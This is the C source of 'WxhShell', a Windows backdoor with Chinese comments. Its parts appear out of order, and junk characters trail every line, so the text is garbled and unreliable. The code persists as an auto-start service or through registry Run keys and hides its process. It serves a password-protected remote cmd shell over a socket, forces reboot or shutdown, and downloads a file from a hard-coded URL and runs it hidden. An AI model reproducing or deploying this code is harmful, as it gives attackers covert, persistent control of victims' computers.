    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHZXMUewC  
    else { nb::,  
    closesocket(wsh); ]awu7}C9Z  
    ExitThread(0); luXcr H+w  
    } M:K5r7Q!yv  
    break; mj:X'BVA  
    } @px2/x  
  // 获取shell K,(37Id'  
  case 's': { Kq& b1x  
    CmdShell(wsh); W: R2e2  
    closesocket(wsh); k|Mj|pqA  
    ExitThread(0); RG[b+Qjn  
    break; qp$Td<'Y  
  } Qau\6p>^  
  // 退出  #~QkS_  
  case 'x': { xc{$=>'G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m%au* 0p  
    CloseIt(wsh); "=8= G  
    break; qM%l  
    } {WJ9!pA!lk  
  // 离开 x.W93e[]H  
  case 'q': { P(AcDG6K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |rW,:&;  
    closesocket(wsh); n1n->l*HGP  
    WSACleanup(); =E$Hq4I  
    exit(1); Ot,eAiaX  
    break; ukNB#2 "  
        } 0 ~K4vSa  
  } |uL"/cMW7  
  } :+Ti^FF`w  
L-SWs8  
  // 提示信息  {}x{OP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'PiQ|Nnb|  
} bDK%vx!_  
  } 4'EC(NR7N  
fP 4  
  return; J; @g#h?  
} Y6<"_  
93I.Wp_{  
// shell模块句柄 'KL!)}B$h  
int CmdShell(SOCKET sock) ROH 2KSt  
{ vhsHyb  
STARTUPINFO si; ]1YyP  
ZeroMemory(&si,sizeof(si)); v:.`~h/b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MYI*0o;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j !m42  
PROCESS_INFORMATION ProcessInfo; 3jx5Lou)&  
char cmdline[]="cmd"; 8/4i7oOC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {jVEstP  
  return 0; j\SvfZ0"  
} \ct7~!qM  
;F3#AO4(  
// 自身启动模式 .]gY{_|x  
int StartFromService(void) _}G1/`09#  
{ ?VM4_dugf  
typedef struct 8":O\^i  
{ _pZ2^OO@  
  DWORD ExitStatus; #\DKU@|h  
  DWORD PebBaseAddress; c ow]qe6K  
  DWORD AffinityMask; iLhxcM2K  
  DWORD BasePriority; ftr?@^  
  ULONG UniqueProcessId; d9bc>5%-F  
  ULONG InheritedFromUniqueProcessId; o]gS=iLp  
}   PROCESS_BASIC_INFORMATION; UB5X2uBv  
uPZ<hG#K  
PROCNTQSIP NtQueryInformationProcess; 78o>UWA:  
Fkq;Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0{0A,;b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <Wz+f+HC  
)2lzPK t  
  HANDLE             hProcess; 22`N(_  
  PROCESS_BASIC_INFORMATION pbi; .|d2s  
Fqr}zR)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ic!8$NhRS  
  if(NULL == hInst ) return 0; L"Vi:zdp  
f3bZ*G%f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B`I9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fG{ 9doUD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d]bM,`K* 6  
H6fR6Kr4j  
  if (!NtQueryInformationProcess) return 0; XMJEIG  
sD_"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . PAR  
  if(!hProcess) return 0; 4I %/}+Q  
I[td:9+hK@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aM2[<m}  
IJnh@?BC  
  CloseHandle(hProcess); zG%ZDH^82_  
'OERW|BO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z3jtq-y  
if(hProcess==NULL) return 0; ueimTXk  
aC9PlKI  
HMODULE hMod; S zqY@  
char procName[255]; PNn- @=%  
unsigned long cbNeeded; 4R8W ot  
+|SvJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +0)zB;~7  
F~qiNV  
  CloseHandle(hProcess); (";{@a %  
`%a+LU2  
if(strstr(procName,"services")) return 1; // 以服务启动 utJz e  
gJn_Z7MgJ  
  return 0; // 注册表启动 'J0Erk8(  
} ,:G3Y )  
E\ 'X|/$a  
// 主模块 ab5uZ0@  
int StartWxhshell(LPSTR lpCmdLine) _jhdqON6E  
{ JsA9Xdk`  
  SOCKET wsl; 0lyCk }c  
BOOL val=TRUE; W;^bc*a_  
  int port=0; 74hQ?Atw:  
  struct sockaddr_in door; $AI0&#NM  
P@RUopu,i  
  if(wscfg.ws_autoins) Install(); lMcSe8LBQa  
vW\|% @hW,  
port=atoi(lpCmdLine); [u=DAk?8  
K9BoIHo  
if(port<=0) port=wscfg.ws_port; TAXl73j_CY  
5[1#d\QR  
  WSADATA data; 0xNlO9b/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'yq'J)  
I,0]> kx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q302!N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I{V1Le4?  
  door.sin_family = AF_INET; %s#`i$|z*n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Za66<:  
  door.sin_port = htons(port); qL\*rYe<  
GA8cA)]zOD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2k^dxk~$V;  
closesocket(wsl); f%1Dn}6  
return 1; rX8EXraO  
} ilyQ gEjC  
UpA{$@  
  if(listen(wsl,2) == INVALID_SOCKET) { 1f.xZgO/2  
closesocket(wsl); o4Bl!7U  
return 1; 4]\t6,Cz8  
} {]a 6o[}u  
  Wxhshell(wsl); /@*J\0h(-  
  WSACleanup(); ? 77ye  
@c8s<9I]  
return 0; tv_Cn w  
{mlJE>~%  
} i>M*ubWE4@  
? }k~>. \  
// 以NT服务方式启动 7 -(LWH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YS_9M Pi  
{ h)M9Oup`  
DWORD   status = 0; jZ'y_  
  DWORD   specificError = 0xfffffff; <N{pMz  
iZ`1Dzxgk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; us.+nnd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~YuRi#CTD:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |sw&sfH[FD  
  serviceStatus.dwWin32ExitCode     = 0; AR}M*sSh  
  serviceStatus.dwServiceSpecificExitCode = 0; `B`/8Cvg  
  serviceStatus.dwCheckPoint       = 0; :*2+t-  
  serviceStatus.dwWaitHint       = 0; F7(~v2|  
lRn6Zh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v!;E1  
  if (hServiceStatusHandle==0) return; t `4^cd5V  
]c8$%  
status = GetLastError(); jH*+\:UP-  
  if (status!=NO_ERROR) %;.|?gR  
{ o3;u*f0rWn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X-Sso9/q.  
    serviceStatus.dwCheckPoint       = 0; EO|r   
    serviceStatus.dwWaitHint       = 0; ))n7.pB9/  
    serviceStatus.dwWin32ExitCode     = status; NRS!Ox  
    serviceStatus.dwServiceSpecificExitCode = specificError; @"~Mglgw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %qzpt{'?<  
    return; u+]v. Mt  
  } mf26AIlkQ  
y>S.B/ d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F:/R'0  
  serviceStatus.dwCheckPoint       = 0; 5JbPB!5;  
  serviceStatus.dwWaitHint       = 0; 'DQp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TsPO+x$l  
} ;+-$=l3[a  
]|q\^k)JU  
// 处理NT服务事件,比如:启动、停止 i\S } aCm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qj71 rj  
{ Ru?Ue4W^b  
switch(fdwControl) Av*R(d=`  
{ .P=uR8  
case SERVICE_CONTROL_STOP: 9?*BN\E5S  
  serviceStatus.dwWin32ExitCode = 0; 'aB0abr|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o} #nf$v(  
  serviceStatus.dwCheckPoint   = 0; S.+)">buH  
  serviceStatus.dwWaitHint     = 0; V*l0| ,9  
  { 4/{Io &|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~'WvIA (  
  } ufdC'2cp8  
  return; DytOS}/^9  
case SERVICE_CONTROL_PAUSE: LnJ/t(KV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DA oOs}D  
  break; tUq* -9 V  
case SERVICE_CONTROL_CONTINUE: }6]V*Kn,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2#'[\*2|N  
  break; ?6    
case SERVICE_CONTROL_INTERROGATE: #K7i<Bf  
  break; !MB%  
}; &7 }!U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OwP9=9};  
} vd-`?/,||  
k@5,6s:  
// 标准应用程序主函数 NDB]8C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yZ,k8TJ",  
{ `n:IXD5'  
,{c9Lv%@J  
// 获取操作系统版本 #VC^><)3  
OsIsNt=GetOsVer(); (ju-r*0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RR:m <9l  
[pbX_  
  // 从命令行安装 J p .wg  
  if(strpbrk(lpCmdLine,"iI")) Install(); CF^7 {g(y_  
-8tWc]c |4  
  // 下载执行文件 q*A2>0O  
if(wscfg.ws_downexe) { Q8M&nf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nJ4h9`[>V  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4j!MjlG$  
} .i/]1X*;r^  
(0W%Y Z!&  
if(!OsIsNt) { ,"PwNv  
// 如果时win9x,隐藏进程并且设置为注册表启动  zUqiz  
HideProc(); )dLESk  
StartWxhshell(lpCmdLine); i{VjSWq  
} +D4Nu+~BSN  
else 6mEW*qp2F  
  if(StartFromService()) N|Ua|^  
  // 以服务方式启动 Pp GNA  
  StartServiceCtrlDispatcher(DispatchTable); q y y.3-(  
else 7F`QN18>(  
  // 普通方式启动 7& k lX  
  StartWxhshell(lpCmdLine); )+ Wr- Yay  
1l\O9D +$  
return 0; nl5K1!1  
} yQhrPw> m  
a-Cp"pKlVY  
PZpwi?N  
~>D;2 S(a  
=========================================== d"XS;;l%<  
5]; 8  
;k7` `  
]Vl5v5_  
Ats"iV  
{<~XwJ.  
" z.Y7u3K.8  
HcHfwLin0  
#include <stdio.h> %8$JL=c  
#include <string.h> wXZ.D}d  
#include <windows.h> yixW>W}  
#include <winsock2.h> WGG|d)'@  
#include <winsvc.h> B0q![  
#include <urlmon.h> 8t}=?:B+{  
^Sy\<  
#pragma comment (lib, "Ws2_32.lib") l$,l3  
#pragma comment (lib, "urlmon.lib") 2t[c^J  
g,y`[dr  
#define MAX_USER   100 // 最大客户端连接数 Jkm\{;  
#define BUF_SOCK   200 // sock buffer  2WE   
#define KEY_BUFF   255 // 输入 buffer I6y&6g  
RO wbzA)]r  
#define REBOOT     0   // 重启 "XC6 l4Z  
#define SHUTDOWN   1   // 关机 >Fx$Rty  
< q; ]  
#define DEF_PORT   5000 // 监听端口 ; tvB{s_  
OM!ES%c,  
#define REG_LEN     16   // 注册表键长度  Kz3u  
#define SVC_LEN     80   // NT服务名长度 h,140pW  
1V+1i)+  
// 从dll定义API s ^V8FH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }~QB2&3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mSw OP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5Tu#o ()  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l`I]eTo)^  
{k?Y :  
// wxhshell配置信息 f[.hN  
struct WSCFG { W]2;5 `MM  
  int ws_port;         // 监听端口 s7xRry  
  char ws_passstr[REG_LEN]; // 口令 ~g|e?$j  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;S?1E:\av  
  char ws_regname[REG_LEN]; // 注册表键名 K/\#FJno  
  char ws_svcname[REG_LEN]; // 服务名 $Q{1^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0M8JE9 Kx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K:y q^T7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j&T/.]dX&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vg \-^$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a _  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i+&= "Z@  
~d5"<`<^o  
}; _\]D<\St  
z(\H.P#  
// default Wxhshell configuration oSa FmP  
struct WSCFG wscfg={DEF_PORT, t_]UseP$RF  
    "xuhuanlingzhe", CdaB.xk  
    1, >D:S)"  
    "Wxhshell", 6{7O  
    "Wxhshell", ljt1:@SN(  
            "WxhShell Service", 3:Z(tM&-O  
    "Wrsky Windows CmdShell Service", m]"YR_  
    "Please Input Your Password: ", C4 Wdt  
  1, ?sS'T7r v  
  "http://www.wrsky.com/wxhshell.exe", -S,dG|  
  "Wxhshell.exe" "BFW&<1  
    }; [tD*\\IA  
iBo-ANnK9  
// 消息定义模块 Uw&+zJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <q[ *kr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'E&K%/d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~:t2@z4p  
char *msg_ws_ext="\n\rExit."; l?FNYvL  
char *msg_ws_end="\n\rQuit."; C>K/C!5?  
char *msg_ws_boot="\n\rReboot..."; ItaJgtsV  
char *msg_ws_poff="\n\rShutdown..."; B:mlBSH  
char *msg_ws_down="\n\rSave to "; 'h= >ej*  
@nc!(P7_  
char *msg_ws_err="\n\rErr!"; \ 3LD^[qi  
char *msg_ws_ok="\n\rOK!"; q yJpm{  
+z[!]^H]4  
char ExeFile[MAX_PATH]; .<NXk"\!y  
int nUser = 0; qFs<s<]  
HANDLE handles[MAX_USER]; vy#c(:UQR  
int OsIsNt; $`=?Nb@@#  
YKx0Zs  
SERVICE_STATUS       serviceStatus; u-K 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hPk+vvXtK  
.86..1  
// 函数声明 kcOpO<oE  
int Install(void); @B^'W'&C  
int Uninstall(void); ]yIy~V  
int DownloadFile(char *sURL, SOCKET wsh); wlpbfO e/  
int Boot(int flag); ):|)/ZiC'  
void HideProc(void); [KE4wz+s{  
int GetOsVer(void); BuvBSLC~  
int Wxhshell(SOCKET wsl); B0KM~cCPQP  
void TalkWithClient(void *cs); g8x8u|  
int CmdShell(SOCKET sock); \)#3S $L~  
int StartFromService(void); &qpA<F@7  
int StartWxhshell(LPSTR lpCmdLine); * ;M?R?+  
)xK!i.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b,`\"'1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VuBp$H(U  
 mPD'"  
// 数据结构和表定义 uf>w*[m5  
SERVICE_TABLE_ENTRY DispatchTable[] = >L;O, {Px-  
{ Ucy9fM  
{wscfg.ws_svcname, NTServiceMain}, ;C{_T:LS  
{NULL, NULL} '9[_ w$~(  
};  y]+A7|  
GbE3 :;JI  
// 自我安装 .Lp-'!i  
int Install(void) e=R} 4`  
{ dog,vUu  
  char svExeFile[MAX_PATH]; 7, 4x7!  
  HKEY key; :_H88/?RR  
  strcpy(svExeFile,ExeFile); *&PgDAQ  
n^%u9H  
// 如果是win9x系统,修改注册表设为自启动 vJ'ho  
if(!OsIsNt) { kj#yG"3+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~k%\ LZ3s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )~n}ieS  
  RegCloseKey(key); ' FK"-)s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  {Eb6.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oaK~:'  
  RegCloseKey(key); B)|s.Ez  
  return 0; W6iIL:sp  
    } GkC88l9z  
  } S-H3UND"  
} lt4UNJ3w  
else { BxqCV%9o  
xV6j6k  
// 如果是NT以上系统,安装为系统服务 MDq@:t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +vnaEy  
if (schSCManager!=0) KqUFf@W  
{ 2uHp%fv;  
  SC_HANDLE schService = CreateService fI|1@e1  
  ( ?c+;  
  schSCManager, CMr`n8M  
  wscfg.ws_svcname, "<(~  
  wscfg.ws_svcdisp, vuP1gem  
  SERVICE_ALL_ACCESS, '8JaD6W9S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'YeJGzsJp  
  SERVICE_AUTO_START, OG+$F  
  SERVICE_ERROR_NORMAL, re!CF8 q  
  svExeFile, QHh#O+by#  
  NULL, AK!G#ug  
  NULL, S=2,jPX2r  
  NULL, 0#7 dm9  
  NULL, ex1ecPpN  
  NULL LQjqwsuN{  
  ); x9e 9$ww}  
  if (schService!=0) vKC>t95  
  { 4kM<L}J#  
  CloseServiceHandle(schService); 'yNp J'  
  CloseServiceHandle(schSCManager); P:v y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O+N-x8W{  
  strcat(svExeFile,wscfg.ws_svcname); <gy'@w?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0d2%CsMS"D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tFQFpbI  
  RegCloseKey(key); $3ILVT  
  return 0; KOQTvJ_#  
    } Bz{ g4!ku  
  } /b|sv$BN  
  CloseServiceHandle(schSCManager); xpk|?/6  
} 9wC; m:  
} rU O{-R  
8f.La  
return 1; ?1uAY.~ZZB  
} 8{YxUD  
 V("1\  
// 自我卸载 _biJch  
int Uninstall(void) D/WS  
{ {JgN^R<5<f  
  HKEY key; 'w2;oO  
&}cie"\L  
if(!OsIsNt) { DbN'b(+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q  [{vU  
  RegDeleteValue(key,wscfg.ws_regname); 4=Ey\Px  
  RegCloseKey(key); 1|VJND  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NP8TF*5V  
  RegDeleteValue(key,wscfg.ws_regname); /HRaX!|E#  
  RegCloseKey(key); x _K%  
  return 0; ~ #CCRUhM  
  } ) YFs  
} 1%,Z&@^j  
} l_ c?q"X  
else { y6/X!+3+  
CkU=0mcY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); : [y(<TLw  
if (schSCManager!=0) m"R(_E5  
{ F?=u:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8##jd[o&p~  
  if (schService!=0) ^U}0D^jDeE  
  { o[#a}5Y  
  if(DeleteService(schService)!=0) { o__q)"^~-  
  CloseServiceHandle(schService); L ~w=O!  
  CloseServiceHandle(schSCManager); 6{'6_4;Fv(  
  return 0; ^|C|=q~:  
  } F0Hbklr  
  CloseServiceHandle(schService); &[kgrRF@HU  
  } ,k!a3"4+TJ  
  CloseServiceHandle(schSCManager); j,XKu5w)Oi  
} {rZ"cUm  
} ">3@<f>  
+0Gep}&z.  
return 1; Kcl$|T  
} #A; Z4jK  
YkX=n{^  
// 从指定url下载文件 ''uI+>Y  
int DownloadFile(char *sURL, SOCKET wsh) p/h&_^EXU  
{ ~-d.3A $u  
  HRESULT hr; i1\2lh$  
char seps[]= "/"; BvF_9  
char *token; #=(op?]  
char *file; _GqE'VX  
char myURL[MAX_PATH]; 1!3kAcBP  
char myFILE[MAX_PATH]; +`8)U3u0  
fP58$pwu  
strcpy(myURL,sURL); (, "E9.  
  token=strtok(myURL,seps); $8k_M   
  while(token!=NULL) keskD  
  { NrcCUZ .:N  
    file=token; @'@6vC  
  token=strtok(NULL,seps); SWpUVZyd  
  } \BXVWE|  
OU@x1G{Cy  
GetCurrentDirectory(MAX_PATH,myFILE); V%lGJ]ZEa  
strcat(myFILE, "\\"); :N*T2mP  
strcat(myFILE, file); C`wI6!  
  send(wsh,myFILE,strlen(myFILE),0); e6lOmgHn5  
send(wsh,"...",3,0); K"7;Y#1g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 070IBAk}_  
  if(hr==S_OK) )1Nnn  
return 0; RFY!o<   
else -G#k/Rz6  
return 1; sG2 3[t8  
5Q`n6x|  
} (JW?azU  
N?0y<S ?!  
// 系统电源模块 C+XZDY(=Z  
int Boot(int flag) 4rG 7\  
{ 1m;*fs  
  HANDLE hToken; ,hLSRj{  
  TOKEN_PRIVILEGES tkp; CqK#O'\  
{yMA7W7]  
  if(OsIsNt) { v`^J3A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UUu-(H-J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *`Xx_   
    tkp.PrivilegeCount = 1; /v4S@SQ+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yB%)D0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p"IS"k%  
if(flag==REBOOT) { D|j \ nQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8? Wxd65)  
  return 0; ]fo^43rn{  
} S.|kg2  
else { AUsQj\Nm%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m\M+pjz  
  return 0; P lH`(n#  
} $'YKB8C  
  } ggc?J<Dv  
  else { w/5^R  
if(flag==REBOOT) { D"4&9"CU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V9u\;5oL  
  return 0; 9zYiG3 d  
} c[_^bs>k  
else { T% 13 '  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -MU.Hu  
  return 0; LG{inhbp  
} 7'i#!5  
} 6\fMzm  
P3tG#cJ  
return 1; U!?gdX  
} fGf-fh;s  
ikN!ut  
// win9x进程隐藏模块 8<g#$(a_E  
void HideProc(void) l@r wf$-  
{ ~vSAnjeR  
zX [ r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fTV|? :C{  
  if ( hKernel != NULL ) 92]ZiL?k  
  { _T|H69 J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {lTxB'W@d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ITIj=!F*  
    FreeLibrary(hKernel); %M#?cmt  
  } C]yQ "b  
5%?b5(mnD  
return; RefRoCD1  
} G yAgPz  
1Dya?}3  
// 获取操作系统版本 o.3YM.B#  
int GetOsVer(void) ]]=fA 4(  
{ |4S?>e  
  OSVERSIONINFO winfo; !Nl.Vb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M*|VLOo=v  
  GetVersionEx(&winfo); 9/ 1+BQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p^igscPF6  
  return 1; $@_t5?n``F  
  else <2O7R}j7v  
  return 0; gZlw  
} \D U^idp#  
xDGS`U  
// 客户端句柄模块 M ?xpwqu\  
int Wxhshell(SOCKET wsl) PN"8 Y  
{ .6ngo0<g   
  SOCKET wsh; H >:4MY  
  struct sockaddr_in client; a=*ALd_&0  
  DWORD myID; /8>0; bX+  
=vr Y{5!>  
  while(nUser<MAX_USER) a,'Ncg  
{ + sywgb)  
  int nSize=sizeof(client); &^7uv0M<y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /X^3=-{8  
  if(wsh==INVALID_SOCKET) return 1; yw.~trF&%  
7AO3-; l]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]oeuIRyQ  
if(handles[nUser]==0) J, 0pe\5  
  closesocket(wsh); @>G&7r:U  
else !/6\m!e|1R  
  nUser++; TD{=L*{+  
  } 2:iYYRrg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); inPE/Ux  
wD6!#t k  
  return 0; f(6UL31  
} 8wX+ZL: 9  
yS)- &t!;  
// 关闭 socket Q^lQi\[  
void CloseIt(SOCKET wsh) kOAY@a  
{ UXwB$@8  
closesocket(wsh); Du^x=;  
nUser--; UW hn1N  
ExitThread(0); ,rZn`9  
} jF2[bzY4  
hqs$yb  
// 客户端请求句柄 sq~+1(X  
void TalkWithClient(void *cs) }KA-t}8  
{ T)(e!Xz  
"*w)puD  
  SOCKET wsh=(SOCKET)cs; j,=*WG  
  char pwd[SVC_LEN]; ?""\  
  char cmd[KEY_BUFF]; M'umoZmW0  
char chr[1]; QJ#u[hsMFp  
int i,j; tE]5@b,R  
uNe}"hs  
  while (nUser < MAX_USER) { qDRNtFa  
-@ZzG uS(  
if(wscfg.ws_passstr) { %j *k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H DF"]l;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3>Q@r>c  
  //ZeroMemory(pwd,KEY_BUFF); Km)X_}|  
      i=0; xd^&_P$=  
  while(i<SVC_LEN) { q%-&[%l  
lf%b0na?r  
  // 设置超时 >f\zCT%cf  
  fd_set FdRead; -BA"3 S  
  struct timeval TimeOut; fJLf7+q  
  FD_ZERO(&FdRead); #\pP2  
  FD_SET(wsh,&FdRead); b JfD\  
  TimeOut.tv_sec=8; # 0GGc.  
  TimeOut.tv_usec=0; I9}+(6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :tMre^oP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3P//H8 8LY  
[d4,gEx`Q\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ORowx,(hX  
  pwd=chr[0]; vWU%ST  
  if(chr[0]==0xd || chr[0]==0xa) { '7xxCj/*  
  pwd=0; ':l"mkd+`  
  break; f?%qUD_#  
  } `'p`PyMt`  
  i++; (2z%U  
    } m|]j'g?{}(  
rDVgk6  
  // 如果是非法用户,关闭 socket J3;Tm~KJ_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h/I@_?k+  
} 9&jQ 35  
f}[H `OF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #P(l2(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~J0,)_b%*  
> P<z |8  
while(1) { 2)wAFO6u  
lPY@{1W  
  ZeroMemory(cmd,KEY_BUFF); ,b4):{  
S:ls[9G[3  
      // 自动支持客户端 telnet标准   9i0M/vx  
  j=0; =op`fn%  
  while(j<KEY_BUFF) { tC&fA E:S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U;\S(s}  
  cmd[j]=chr[0]; j]pohxn$5  
  if(chr[0]==0xa || chr[0]==0xd) { Bul.RCP'  
  cmd[j]=0; aXe{U}eow  
  break; ~|&="K4,:  
  } LeY+p]n~  
  j++; _yj1:TtCNT  
    } 4,2(nYF  
BwC<rOU  
  // 下载文件 |*:tyP%m^  
  if(strstr(cmd,"http://")) { G%a] j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X Vw-G }5  
  if(DownloadFile(cmd,wsh)) pd d|n2q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Gsw-a;a  
  else }6).|^]\'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :.#z  
  } bA}Z0a  
  else { U,PZMz`2j  
k, f)2<  
    switch(cmd[0]) { Bc@30KiQ ^  
  re; Lg C  
  // 帮助 9#uIC7M  
  case '?': { vYDSu.C@a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zI:(33)  
    break; eUt=n)*`  
